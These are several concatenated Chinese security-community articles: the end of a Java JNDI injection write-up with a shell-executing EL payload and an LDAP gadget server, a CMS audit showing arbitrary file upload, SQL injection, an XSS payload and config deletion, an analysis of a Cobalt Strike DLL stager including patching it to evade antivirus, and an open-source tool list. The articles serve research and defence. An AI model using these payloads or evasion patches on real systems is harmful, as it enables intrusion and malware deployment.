propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}
try {
//x=(ELProcessor.getMethod("eval",String[].class))
forced.put(param, beanClass.getMethod(propName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
...
}
}
}
Enumeration e = ref.getAll();
while(true) {
...
// "".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app']).start()")
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
//eval method...
Method method = (Method)forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
//反射执行ELProcessor.eval方法
method.invoke(bean, valueArray);
} catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
}
} else {
...
}
}
}
}
}
...
}
我在这个类上面加了一些注释,ELProcessor.eval()会对EL表达式进行处理,最后会执行。
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app']).start()")
##### 使用序列化数据,触发本地Gadget
`com.sun.jndi.ldap.Obj#decodeObject`
这里可以看到在LDAP中数据可以是序列化对象也可以是Reference对象。如果是序列化对象会调用deserializeObject方法
`com.sun.jndi.ldap.Obj#deserializeObject`
该方法就是把byte用ObjectInputStream对数据进行反序列化还原。那么传输序列化对象的payload,客户端在这里就会进行触发.
改造下LDAP SERVER即可
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
e.addAttribute("javaClassName", "foo");
//getObject获取Gadget
e.addAttribute("javaSerializedData", serializeObject(getObject(this.cmd)));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
调用链
readObject:1170, Hashtable (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2232, ObjectInputStream (java.io)
readOrdinaryObject:2123, ObjectInputStream (java.io)
readObject0:1624, ObjectInputStream (java.io)
readObject:464, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
deserializeObject:531, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:43, HelloClient
### 四、总结
JNDI注入漏洞很常见,在`fastjson`/`jackson`中会调用getter/setter方法,如果在getter/setter方法中存在lookup方法并且参数可控就可以利用,可以看下`jackson`的黑名单<https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java>来学习哪些类可以拿来JNDI注入。在`weblogic
t3`协议中基于序列化数据传输,那么会自动调用readObject方法,`weblogic`使用了`Spring`框架`JtaTransactionManager`类,这个类的readObject方法也存在JNDI注入调用链。
### 参考链接
1. <https://www.veracode.com/blog/research/exploiting-jndi-injections-java>
2. <https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html>
3. <https://www.anquanke.com/post/id/201181>
4. <https://xz.aliyun.com/t/7264>
5. <https://xz.aliyun.com/t/6633>
6. <https://mp.weixin.qq.com/s/0LePKo8k7HDIjk9ci8dQtA>
* * * | 社区文章 |
## **0x01、前言**
在CNVD闲逛的时候看到这款CMS,发现常见的用于getshell的漏洞都有人提交过，顿时来了兴趣，下载下来经过审计发现漏洞的利用方式和常规方法稍有不同，尤其是对于文件上传的漏洞来说，在以前的测试中主要集中在图片附件之类的地方，在当下基本都通过白名单方式来限制上传的情况下，如果CMS中存在一些在线升级或者下载插件的功能，如果我们能替换从远端下载的程序为自己的可执行脚本也不失为一种文件上传的好方法
## **0x02、从安装插件到任意文件上传**
POST /admin.php/Plugins/update.html HTTP/1.1
Host: 127.0.0.1:8091
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 80
Origin: http://127.0.0.1:8091
Connection: close
Referer: http://127.0.0.1:8091/admin.php/Plugins/
Cookie: PHPSESSID=tq79jo8omp5s72lq101noj48lq
action=start-download&filepath=msgphone&download_url=http://127.0.0.1/test/a.zip
攻击者可以控制download_url传入参数的值，从而传入被压缩的可执行脚本，然后该压缩包会被解压并传入到特定位置，实现getshell
所以只需要攻击者在自己控制的网站上压缩可执行脚本然后将url赋值给download_url即可实现任意文件上传
定位下函数位置，该函数位于/A/c/PluginsController.php下的update函数
传进来的值通过frparam函数处理之后变赋值给了remote_url
跟进到frparam函数函数中，该函数位于/FrPHP/lib/Controller.php中
public function frparam($str=null, $int=0,$default = FALSE, $method = null){
$data = $this->_data;
if($str===null) return $data;
if(!array_key_exists($str,$data)){
return ($default===FALSE)?false:$default;
}
if($method===null){
$value = $data[$str];
}else{
$method = strtolower($method);
switch($method){
case 'get':
$value = $_GET[$str];
break;
case 'post':
$value = $_POST[$str];
break;
case 'cookie':
$value = $_COOKIE[$str];
break;
}
}
return format_param($value,$int);
}
该函数并没有对传入的值进行过滤，只是简单的从data数组里取数据
然后继续回到update函数，在获取到了remote_url的值后便进行了下载以及解压缩的操作
最后解压到的文件夹为/A/exts
## **0x03、从sql注入到任意文件上传**
从回显可以明确的看到这是一个报错注入，如果没有回显报错的话，为了查看是否进行了sql语句的拼接可以去查看mysql的log日志,可以通过Navicat的日志功能去查看
在对CMS不是很熟悉的情况下可以通过搜索关键字来定位大概的漏洞位置，customurl成功的引起了我的注意，这是表的名字，经过简单判断，定位到函数位置为
/Home/c/HomeController.php中342-355行中，用户传入参数url然后进入到find函数中处理
跟进到find函数中，位于/FrPHP/lib/Model.php，find函数主要去调用findAll函数去拼接执行sql语句
public function find($where=null,$order=null,$fields=null,$limit=1)
{
if( $record = $this->findAll($where, $order, $fields, 1) ){
return array_pop($record);
}else{
return FALSE;
}
}
这里看代码看的头疼，为了直观展示代码的执行过程可以用phpstorm配合xdebug的方式去调试php代码，可以看到将我们传入的参数直接带入查询，然后调用getArray函数去执行
public function findAll($conditions=null,$order=null,$fields=null,$limit=null)
{
.....
.....
if(!empty($limit))$where .= " LIMIT {$limit}";
$fields = empty($fields) ? "*" : $fields;
$table = self::$table;
$sql = "SELECT {$fields} FROM {$table} {$where}";
return $this->db->getArray($sql);
}
在 /FrPHP/db/DBholder.php中, getArray函数调用query函数，如果有错误将输出错误信息
当然只是原样输出报错信息的话应该还是存在一个反射型XSS的
http://x.x.x.x/static/default/assets/asset/img/1'%3Cimg%20src=1%20onerror=alert(1)%3E--
在接下来发现该CMS允许上传的文件类型是保存在数据库中的
通过数据库写入到缓存文件，在使用时从缓存文件中去看上传的类型是不是缓存文件中允许的，如果是则允许上传。那可以通过SQL注入漏洞更新下数据库，写入允许上传的后缀php,即可实现getshell
然后登陆后台清空缓存让网站重新获得新的缓存，然后上传php文件。看到上传成功了
既然是代码审计，我们也来跟下网站获取上传类型的方式
在/A/c/CommonController.php 中uploads函数中是从webconf中获得的fileType的值
$fileType = $this->webconf['fileType'];
if(strpos($fileType,strtolower($pix))===false){
$data['error'] = "Error: 文件类型不允许上传！";
$data['code'] = 1002;
JsonReturn($data);
}
webconf函数位于/Conf/Functions.php中,通过调用getCache函数来获取相关的值
function webConf($str=null){
//v1.3 取消文件存储
//$web_config = include(APP_PATH.'Conf/webconf.php');
$webconfig = getCache('webconfig');
}
getCache函数位于/FrPHP/common/Functions.php
function getCache($str=false){
if(!$str){
return false;
}
//获取
$s = md5($str).'frphp'.md5($str);
$cache_file_data = APP_PATH.'cache/data/'.$s.'.php';
if(!file_exists($cache_file_data)){
return false;
}
$last_time = filemtime($cache_file_data);//创建文件时间
$res = file_get_contents($cache_file_data);
$res = substr($res,14);
$data = json_decode($res,true);
if(($data['frcache_time']+$last_time)<time() && $data['frcache_time']>=0){
unlink($cache_file_data);
return false;
}else{
return $data['frcache_data'];
}
}
getCache从/cache/data/中获取相关的值 缓存文件的名字为md5(webconfig).'frphp'.md5(webconfig)
可以看到已经成功缓存,php为允许上传的类型
## **0x04、后台任意文件夹压缩下载**
这个的漏洞触发同样位于CMS的插件部分,只需要替换filepath的值为要打包的文件夹即可
打包网站下载
根据url定位到漏洞位置，位于/A/c/PluginsController.php中的output函数，该函数主要是获取用户输入的文件名然后进行压缩在发送给客户端,
还是这个frparam函数，由前文可知该函数没有对传入的参数进行过滤的话，从而导致了可以进行目录穿越，然后可以压缩不同的目录下载任意文件，条件只需要知道文件夹名字
## **0x05、后台配置文件删除**
该漏洞的触发同样也是源于frparam函数没有对传入的文件路径进行必要的过滤
在
/A/c/PluginsController.php中的action_do函数中的483到494行中由于未对目录进行限制导致的目录穿越漏洞，只要文件中包含config.php文件即可触发deldir函数进行文件删除操作
Conf文件夹中包含config.php，该文件夹为网站配置信息储存的地方，一旦被删除，网站将无法正常运行
deldir函数的功能是遍历目标文件下的所有文件进行删除操作
function deldir($dir) {
//先删除目录下的文件：
$dh=opendir($dir);
while ($file=readdir($dh)) {
if($file!="." && $file!="..") {
$fullpath=$dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
deldir($fullpath);
}
}
}
closedir($dh);
成功删除了Conf文件夹
**0x06、总结**
phpstorm配合xdebug进行代码调试，在代码不太读得懂的地方可以直观看到代码具体执行过程，对于代码审计来说很有帮助，当然对于sql注入同样也可以采取监控sql语句的执行过程来看是否存在sql注入漏洞。对于上传点的寻找又多了一种思路，毕竟现在网站为了方便都增加了在线升级或者在线下载插件的功能，并且大部分都自带解压或者执行的功能，如果远端的url可以被替换，很有可能实现任意文件上传。对于代码审计目前还处在起步学习阶段，如有分析的不对的地方或者见识浅薄的地方还望批评指正。 | 社区文章 |
# 剖析Cobalt Strike的DLL Stager
NVISO最近监测到了针对其金融部门客户的作为目标的行动。根据员工关于可疑邮件的报告，该攻击在其开始阶段就被发现。虽然没有造成任何伤害，但我们通常会确定任何与之相关的指标，以确保对实施此行为者进行额外的监视。
被报告邮件是申请公司其中一个公开招聘的职位，并试图发送恶意文档。除了利用实际的工作Offer,还引起我们注意的是恶意文档中还存在[execution-guardrails
](https://attack.mitre.org/techniques/T1480/)。通过对该文档分析，发现了通过[Component Object
Model
Hijacking](https://attack.mitre.org/techniques/T1546/015/)（组件对象模型劫持)来维持Cobalt
Strike Stager的意图
在我空闲的时间里，我很享受分析NVISO标记的野外样本,因此进一步解剖 Cobalt Strike DLL
payload，这篇博客文章将介绍有效载荷的结构，设计选择，并重点介绍如何减少日志足迹和缩短Shellcode的时间窗口。
## 分析执行流
为了了解，恶意代码是如何工作的，我们必须去分析其从开始到结束的行为。在本节中，我们将介绍一下流程。
1.通过`DllMain`初始化执行
2.通过`WriteBufferToPipe`,将加密shellcode发送到命名管道
3.通过管道进行读取，通过`PipeDecryptExec`,解密shellcode并执行
如前所述，恶意文档的DLL的载荷意图伪装为[COM in-process server](https://docs.microsoft.com/en-us/windows/win32/com/inprocserver32)。有了这些认识，我们可以着眼与DLL公开的一些已知的入口点。
从技术层面来说，恶意代码可以发生在该8个函数中任意一个，但恶意代码通常驻留在`DllMain`给定的函数中，除了[TLS
callbacks](https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#tls-callback-functions),它是最可能执行的函数。
>
> `DllMain`：动态链接库（DLL）的可选入口点。当系统启动或终止进程或线程时，它将使用进程的第一个线程为每个已加载的DLL调用入口点函数。当使用`LoadLibrary`和`FreeLibrary`函数加载或卸载DLL时，系统也会调用DLL的入口点函数。
>
> [docs.microsoft.com/zh-> CN/windows/win32/dlls/dllmain](https://docs.microsoft.com/en-> us/windows/win32/dlls/dllmain)
## DllMain 入口点
从下面的捕获结果可以看到，该`DllMain`函数只是通过创建一个新线程来简单执行另一个函数。该线程函数我们命名为`DllMainThread`,它不需要提供任何参数即可执行。
分析`DllMainThread`函数发现其实它是对我们将发现的恶意载荷的解密和执行函数的一个附加的包装.(被保护函数在捕获中被称为`DecryptBufferAndExec`)
进一步深入,我们可以看到恶意逻辑的开始。具有Cobalt Strike经验的分析师会立马意识到这个众所周知的`MSSE-%d-server`特征。
上面代码中发生了几件事:
1.该示例开始通过[GetTickCount](https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-gettickcount)获取tick计数,然后将其除以0x26AA。尽管获取的计数通常是时间的度量，但下一个操作仅仅将其作为随机数来使用
2.然后该示例继续调用在`sprintf`函数周围的包装器。它的作用是格式化字符串为`PipeName`的缓冲区。如可以观察到，格式化字符串将是`\\.\pipe\MSSE-%d-server`其中`%d`为前面的除法计算的结果。(例如:`\\.\pipe\MSSE-1234-server`)。这个管道格式是有据可查的Cobalt
Strike 威胁指标。
3.通过在全局变量定义管道的名称，恶意代码将创建一个新线程以运行`WriteBufferToPipeThread`.此函数使我们接下来即将分析的。
4.最后，在新的线程运行时,代码跳转到`PipeDecryptExec`例程。
到目前为止,我们有了线性的从DllMain入口点到`DecryptBufferAndExec`函数的执行过程，我们可以绘制如下流程:
如我们所见，两个线程现在将同时运行。让我们集中于其中写内容到管道 (`WriteBufferToPipeThread`)
的线程，其次是与之对应`PipeDecryptExec`的内容。
## WriteBufferToPipe线程
写入生成的管道的线程是在`DecryptBufferAndExec`没有任何其他参数的情况下启动的。通过进入该函数，我们可以观察到它只是一个`WriteBufferToPipe`前的简单的包装器，此外传递如下从全局`Payload`变量(。(由`pPayload`指针指向))恢复的参数。
1.shellcode的大小,存储在offset=0x4处
2.指向包含加密shellcode缓冲区的指针，该缓冲区存储在offset=0x14处
在`WriteBufferToPipe`函数中，我们可以注意到代码是通过创建新管道开始的。管道的名称是从`PipeName`全局变量中恢复的，如果您还记得的话，该全局变量先前是由`sprintf`函数填充的。
代码创建了单个实例，通过调用[CreateNamedPipeA](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea)导出管道((`PIPE_ACCESS_OUTBOUND`)),然后通过调用[ConnectNamedPipe](ConnectNamedPipe)将其连接到该实例。
如果连接成功,`WriteBufferToPipe`函数只要有shellcode的字节需要写入到管道就继续循环调用`WriteFile` 来实现写入。
值得注意的一个重要细节是,一旦shellcoode写到了管道中,先前打开管道的句柄就通过[CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle)来关闭。这表明管道的唯一目的就是为了传输加密的shellcode。
一旦``WriteBufferToPipe` `函数执行完毕,线程终止。总体而言，执行流程非常简单，可以如下绘制:
## PipeDecryptExec 流程
作为快速恢复部分,
该`PipeDecryptExec`流程在创建`WriteBufferToPipe`线程后被立即执行。执行的一个任务是分配一个内存区域，接收要通过命名管道传输的shellcode。为此，将存储在全局Payload变量偏移0x4处的shellcode大小作为参数来执行[malloc](https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/malloc?view=msvc-160)调用。
一旦缓冲区分配完成，代码将休眠1024毫秒(0x400),并将缓冲区位置和大小作为参数调用`FillBufferFromPipe`。如果该函数调用失败则返回`FALSE`
(`0`),那么代码会再次循环至该[Sleep](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-sleep)调用，并再次尝试操作，直到操作成功为止。这些调用和循环是必需的,因为多线程示例必须等待至shellcode写入到了管道中。
一旦将shellcode写入到了分配的缓冲区中，`PipeDecryptExec`最终会通过`XorDecodeAndCreateThread`来解密并执行shellcode。
要将加密的shellcode从管道传输到分配的缓冲区中,
`FillBufferFromPipe`通过[CreateFileA](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea)以只读的方式(`GENERIC_READ`))打开管道.就像创建管道一样，从全局`PipeName`变量中获取名称。如果访问管道失败，则函数将继续返回`FALSE`
(`0`),而导致上述`Sleep`并重试的循环。
一旦管道以只读模式打开，`FillBufferFromPipe`函数接着会继续复制shellcode直到分配缓冲区使用ReadFile填满为止。缓冲区填满后，`CloseHandle`关闭命名管道的句柄,并且`FillBufferFromPipe`函数返回`TRUE`
(`1`).
一旦`FillBufferFromPipe`成功完成，命名管道已经完成了它的任务和加密的shellcode已经从一个存储区域移动到另一个。
回到调用者`PipeDecryptExec`函数中，一旦`FillBufferFromPipe`函数调用返回`TRUE`，`XorDecodeAndCreateThread`将使用以下参数进行调用：
1. 包含复制的shellcode的缓冲区。
2. shellcode的长度，存储在全局`Payload`变量的offset=`0x4`处。
3. 对称XOR解密密钥，存储在全局`Payload`变量的offset=`0x8`处。
调用后，该`XorDecodeAndCreateThread`函数首先使用[VirtualAlloc](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)分配另一个内存区域。分配的区域具有读/写权限([PAGE_READWRITE](https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants)),但不能执行。通过不同时具有可写和可执行权限，这个示例可能是尝试躲避一些只寻找[PAGE_EXECUTE_READWRITE](https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants)区域的安全解决方案。
一旦这个区域被分配,函数就会在Shellcode缓冲区上循环并使用简单的xor操作将每个字节解密
分配到新的内存区域中。
解密完成后，`GetModuleHandleAndGetProcAddressToArg`函数被调用。它的作用放置指向两个有用的函数指针到内存:`GetModuleHandleA`
and `GetProcAddress`。这些函数能够允许shellcode
解析其他过程，而不必依赖于它们的导入。在存储这些指针之前，该`GetModuleHandleAndGetProcAddressToArg`函数首先确保特定值不是`FALSE`（`0`）。令人惊讶的是，存储在全局变量（此处称为`zero`）中的该值始终为`FALSE`，因此指针从未被存储。
回到调用者函数，`XorDecodeAndCreateThread`使用`VirtualProtect`更改shellcode的存储区域为可执行权限（`PAGE_EXECUTE_READ`），最终创建一个新线程。该线程从`JumpToParameter`函数开始，该函数充当shellcode的简单包装，shellcode作为参数提供。
从这里开始，执行先前的加密Cobalt Strike shellcode stager
，解析[WinINet](https://docs.microsoft.com/en-us/windows/win32/wininet/about-wininet) 过程,下载最终的信标然后执行它。我们不会在这篇文章中介绍shellcode的分析，因为它应该用一篇专属的文章来分析。
尽管最后一个流程包含了更多的分支和逻辑，但总体流程图仍然非常简单。
## 内存流分析
在上述分析中，最令人惊讶的是存在一个众所周知的命名管道。通过在管道出口处解密shellcode或进行进程间通信，可以将管道用作防御逃避机制。
但在我们的案例中，它只是充当[memcpy](https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/memcpy-wmemcpy?view=msvc-160)将加密的Shellcode从DLL移至另一个缓冲区的作用。
那么为什么要使用这种开销呢？ 正如另以为同事指出，答案在于Artifact Kit，这是Cobalt Strike的依赖项：
> Cobalt Strike uses the Artifact Kit to generate its executables and DLLs.
> The Artifact Kit is a source code framework to build executables and DLLs
> that evade some anti-virus products. […] One of the techniques [see: `src-> common/bypass-pipe.c` in the Artifact Kit] generates executables and DLLs
> that serve shellcode to themselves over a named pipe. If an anti-virus
> sandbox does not emulate named pipes, it will not find the known bad
> shellcode.
>
> [cobaltstrike.com/help-artifact-kit](https://www.cobaltstrike.com/help-> artifact-kit)
正如我们在上图中所看到的,在`malloc`缓冲区加密shellcode的stageing为了躲避检测会产生大量开销。`XorDecodeAndCreateThread`直接从初始加密的Shellcode中读取则可以避免这些操作。如下图所示，避免使用命名管道将进一步消除对循环`Sleep`调用的需求，因为数据将随时可用。
看来我们找到了一种减少得到shellcode时间的方法。但是流行的防病毒解决方案是否被命名管道所欺骗？
## 修补执行流程
为了检验该推测，
让我们改进恶意执行流程。对于初学者，我们可以跳过与管道毋庸的调用，而直接在`DllMainThread`函数调用`PipeDecryptExec`，从而绕过管道的创建和编写。汇编级的修补方式执行过程超出了本文的讨论范围，这里我们仅感兴趣于流程的抽象。
该`PipeDecryptExec`功能还需要打补丁以跳过`malloc`分配\读取管道，并确保它能够提供`XorDecodeAndCreateThread`需要的DLL的加密shellcode而不是现在不存在的重复区域。
修补我们的执行流程后，如果安全解决方案将这些未使用的指令作为检测基础，则我们可以将其都清空。
应用补丁后，
们最终得到了一条线性且较短，直到执行Shellcode的路径。下图专注于此修补路径，不包括下面的分支`WriteBufferToPipeThread.`
由于我们也弄清楚了shellcode如何进行加密（我们拥有`xor`密钥）一样，我们修改了两个示例以修改C2的地址，因为它可用于识别我们的目标客户。
为确保shellcode不依赖任何绕过的调用，我们启动了一个快速的Python
HTTPS服务器，并确保经过编辑的domain解析为`127.0.0.1`。然后，我们可以通过[rundll32.exe](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32)调用原始DLL和修补的DLL，并观察shellcode如何去试图检索Cobalt Strike
Beacon，以证明我们的补丁程序没有影响到shellcode。我们调用的导出的`StartW` 函数是在`Sleep`调用周围的简单包装。
## 防病毒审查
那么，命名管道实际上是否可以用作防御逃避机制？尽管有有效的方法来衡量补丁程序的影响（例如：比较多个沙盒解决方案），但VirusTotal确实提供了快速的初步评估。因此，我们向VirusTotal提交了以下版本重新编辑C2的样本：
* `wpdshext.dll.custom.vir` 这是经过编辑的Cobalt Strike DLL。
* `wpdshext.dll.custom.patched.vir` 这是我们未命名的补丁和编辑过的Cobalt Strike DLL。
由于原始的Cobalt Strike包含可识别的特征（命名管道），因此我们希望修补后的版本具有较低的检测率，即使Artifact Kit不这样认为。
正如我们预期的那样，Cobalt
Strike所利用的命名管道开销实际上是作为检测基础。从以上截图中可以看出，原始版本（左）仅获得[17次检测](https://www.virustotal.com/gui/file/a01ebc2be23ba973f5393059ea276c245e6cea1cd1dc3013548c059e810b83e6/detection)，而修补版本（右）获得的共[16次检测](https://www.virustotal.com/gui/file/e9dc6d7ac7659e99d2149f4ee5f6fb9fb5f873efd424d5f5572d93dee7958346/detection)少了一个。在给出的解决方案中，我们注意到ESET和Sophos未能检测到无管道版本，而ZoneAlarm无法识别原始版本。
一个值得注意的观察结果是，一个适配流程处于中间过程的补丁，但未对未使用的代码清0，结果发现它是检测到最多的版本，总共有[20个匹配](https://www.virustotal.com/gui/file/f2458d8d9c86a8cb4a5ef09ad4213419f70728f69f207464c4b3c423ba7ae3c4/detection)。出现更高检测率是因为此修补程序允许不认识管道的防病毒提供商也仍然可以使用与管道相关的操作签名去定位shellcode。
尽管这些测试针对的是默认的Cobalt
Strike缺乏命名管道的行为。但有人可能会争辩，定制的命名管道模式将具有最好的效果。尽管我们在最初的测试中没有想到这种变体，但我们在次日提交了一个版本(改变了管道名称为`NVISO-RULES-%d`而不是`MSSE-%d-server`),然后获得了[18个检测结果](https://www.virustotal.com/gui/file/5f2b3f855ffb78d91fc2e35377f50c579d31956bf0e39d97e36fbec968fdb7aa/detection)。作为比较，我们另外两个样本的检测率在一夜之间增加到30+。但是，我们必须考虑这18个检测结果受初始shellcode的影响。
## 结论
事实证明，逆向恶意的Cobalt Strike
DLL比预期的要有趣。总体而言，我们注意到存在嘈杂的操作，这些操作的使用不是功能要求，甚至可以充当检测基础。为了证实我们的假设，我们修补了执行流程，并观察了简化版本如何以较低的检测率（几乎未更改）到达C2服务器。
因此，这个分析为什么很重要？
## 蓝队
首先，最重要的是，这个载荷的分析突出显示了常见的Cobalt Strike
DLL特征，使我们可以进一步微调检测规则。虽然这个Stager是第一个被分析的DLL,但我们确实寻找了其他Cobalt
Strike格式，比如默认信标和可以用的[可延展的C2](https://www.cobaltstrike.com/help-malleable-c2)，包括动态链接库和可移植的可执行文件。出乎意料的是，所有格式都共享了这个常见的[文档记录的](https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/)`MSSE-%d-server`的管道名称，并且对[开源检测规则](https://grep.app/search?q=MSSE-&case=true)的快速[搜索](https://grep.app/search?q=MSSE-&case=true)显示了它被寻找的东西很少。
## 红队
除了对NVISO的防御行动有所帮助外，这项研究还使我们的进攻团队在选择使用定制交付机制方面感到更加安慰。更重要的是，遵循我们记录的设计选择。在针对成熟环境的操作中使用命名管道更有可能引发危险信号，并且到目前为止，至少在不更改生成方式的情况下，似乎仍无法提供任何可逃避的优势。
对于下一个针对我们客户的参与者: 我期待着修改您的样本并测试更改后的管道名称的有效性。
> 译者注: 修改管道名称还是蛮有用的...
>
> 本文未翻译文章，原文链接:<https://blog.nviso.eu/2021/04/26/anatomy-of-cobalt-strike-dll-> stagers/> | 社区文章 |
## 关于星链计划
「404星链计划」是知道创宇404实验室于2020年8月提出的开源项目收集计划，这个计划的初衷是将404实验室内部一些工具通过开源的方式发挥其更大的价值，也就是“404星链计划1.0”，这里面有为大家熟知的Pocsuite3、ksubdomain等等，很快我们就收到了许多不错的反馈。2020年11月，我们将目光投向了整个安全圈，以星链计划成员为核心，筛选优质、有意义、有趣、坚持维护的开源安全项目，为立足于不同安全领域的安全研究人员指明方向，也就是“404星链计划2.0”。为了更清晰地展示和管理星链计划的开源项目，2022年11月22日我们将1.0和2.0整合，推出改版后的「404星链计划」。
**Github地址：<https://github.com/knownsec/404StarLink>**
## 新项目发布
### 01 CF
**项目链接：**<https://github.com/teamssix/cf>
**项目简介：** CF 是一个云环境利用框架，主要用来方便红队人员在获得云服务 Access Key 的后续工作
**项目特点、亮点：**
* 当获取到 AK 的时候，一般最想知道的就是这个 AK 有什么权限、我能做什么，通过 CF 可以一键获取当前 AK 的权限，一下子就让蒙住的眼睛明亮了起来
* 知道 AK 的权限后，最普遍的做法就是看看 OSS 上的文件，要不就是在 ECS 实例上执行个命令，但有了 CF 可以做更多，比如一键下载 OSS 所有资源、一键获取所有 ECS 实例上的临时访问凭证从而进行下一步的云上内网横向、一键为所有 ECS 实例执行三要素命令从而方便 HW
* CF 它还能做更多，比如一键列出当前 AK 下的云服务资源（目前已支持OSS、ECS、RDS）、一键创建后门管理员用户从而接管控制台、一键为 ECS 实例反弹 Shell 等等，使用 CF 可以让你的云上渗透效率提升到新的高度
### 02 Cloud-Bucket-Leak-Detection-Tools
**项目链接：**<https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools>
**项目简介：**
云原生安全近几年比较火，存储桶在企业(SRC众测)中暴露的问题也非常多，不仅仅局限于AK/SK的泄露，更多的是用户配置侧的问题，这款工具就是用来代替我们手工解决这些繁琐的操作
**项目特点、亮点：**
该工具可以做什么？ 实现腾讯云，华为云，阿里云，AWS四个厂商的存储桶扫描检测与利用的功能
* 自动检测存储桶的危险操作，例如PutObjet，GetBucketACL，PutBucketACL，DeleteObject等
* 存储桶/子域劫持
* 批量检测功能，可通过收集大量存储桶或域名地址进行扫描检测，并将结果输出保存
待完善功能，后续想新增例如ak权限的扫描，实现方式比较多，不过目前还在研究最优的解决方案
**KCon 2022 兵器谱**
KCon「兵器谱」是为鼓励国内安全自动化工具的发展而设立，现已成为每届 KCon 的传统。在刚刚结束的 KCon 2022 黑客大会中，Cloud-Bucket-Leak-Detection-Tools入选了本届KCon黑客大会的兵器谱并进行了展示。
演示视频：<https://b23.tv/im05Fqb>
关注我们B站（知道创宇404实验室），其他 KCon 2022 兵器谱中的星链项目演示视频均已发布~
### 03 Cola Dnslog
**项目链接：**<https://github.com/AbelChe/cola_dnslog>
**项目简介：**
* Cola Dnslog 更加强大的dnslog平台/无回显漏洞探测辅助平台
* 完全开源
* dnslog httplog ldaplog rmilog
* 提供API调用方式便于与其他工具结合
* 集成钉钉机器人、Bark等提醒方式
* 后端完全使用python实现
* 前端基于vue-element-admin二开
**项目特点、亮点：**
* 除dns和http，还支持ldap、rmi协议log
* 支持持钉钉机器人、bark提醒
* 后端完全使用python
* 提供webui
### 04 Hades
**项目链接：**<https://github.com/theSecHunter/Hades>
**项目简介：**
Hades 是一款支持 windows/linux 的内核级主机入侵检测系统，支持多种数据维度的采集，满足安全审计需求。Linux 侧参考
Elkeid/tracee，基于 eBPF/NCP 方式做事件审计；Windows 提供基于 etw 和内核态两种采集模式，带有局部 edr
和异常行为检测等，目前项目整体还在开发整合中
**项目特点、亮点：**
* 跨平台支持：目前 Hades 支持 Windows/Linux 双平台，各平台工具支持独立化
* 运行稳定性：Linux 部分基于 eBPF driver 插件做到内核级别数据采集，低内核版本采用 NCP 兼容，整体较低的侵入性。Windows 端在多台生产机器实际测试，均长期稳定
* 运行数据源丰富：两平台都支持了内核级别的数据采集，同时用户态做数据补充和采集
## 加入我们
如果你的安全开源项目有意加入404星链计划，请在星链计划 Github 主页的 issue
提交项目申请：<https://github.com/knownsec/404StarLink/issues>
**提交格式如下：**
项目名称：
项目链接：
项目简介：
项目特点、亮点：
项目审核通过后，我们将发送邀请函邮件，项目正式加入404星链计划。
## 星际奇兵
另外，星链计划新开设了开源工具视频演示栏目【星际奇兵】，由404小姐姐对星链项目进行细致的演示指导，跟我们一起快速上手这些优秀的安全工具吧！
> **视频链接：<https://b23.tv/8R7Dz0P>**
> **第一期演示项目：KunLun-M**
> 项目作者：LoRexxar
> 项目地址：<https://github.com/LoRexxar/Kunlun-M>
> 404星链计划地址：<https://github.com/knownsec/404StarLink>
关注我们B站（知道创宇404实验室），第一时间获取演示视频~
想要学习和交流开源安全工具的朋友可以加入404星链计划社群，请扫码识别运营菜菜子微信二维码，添加时备注“星链计划”。
* * * | 社区文章 |
### 文章前言
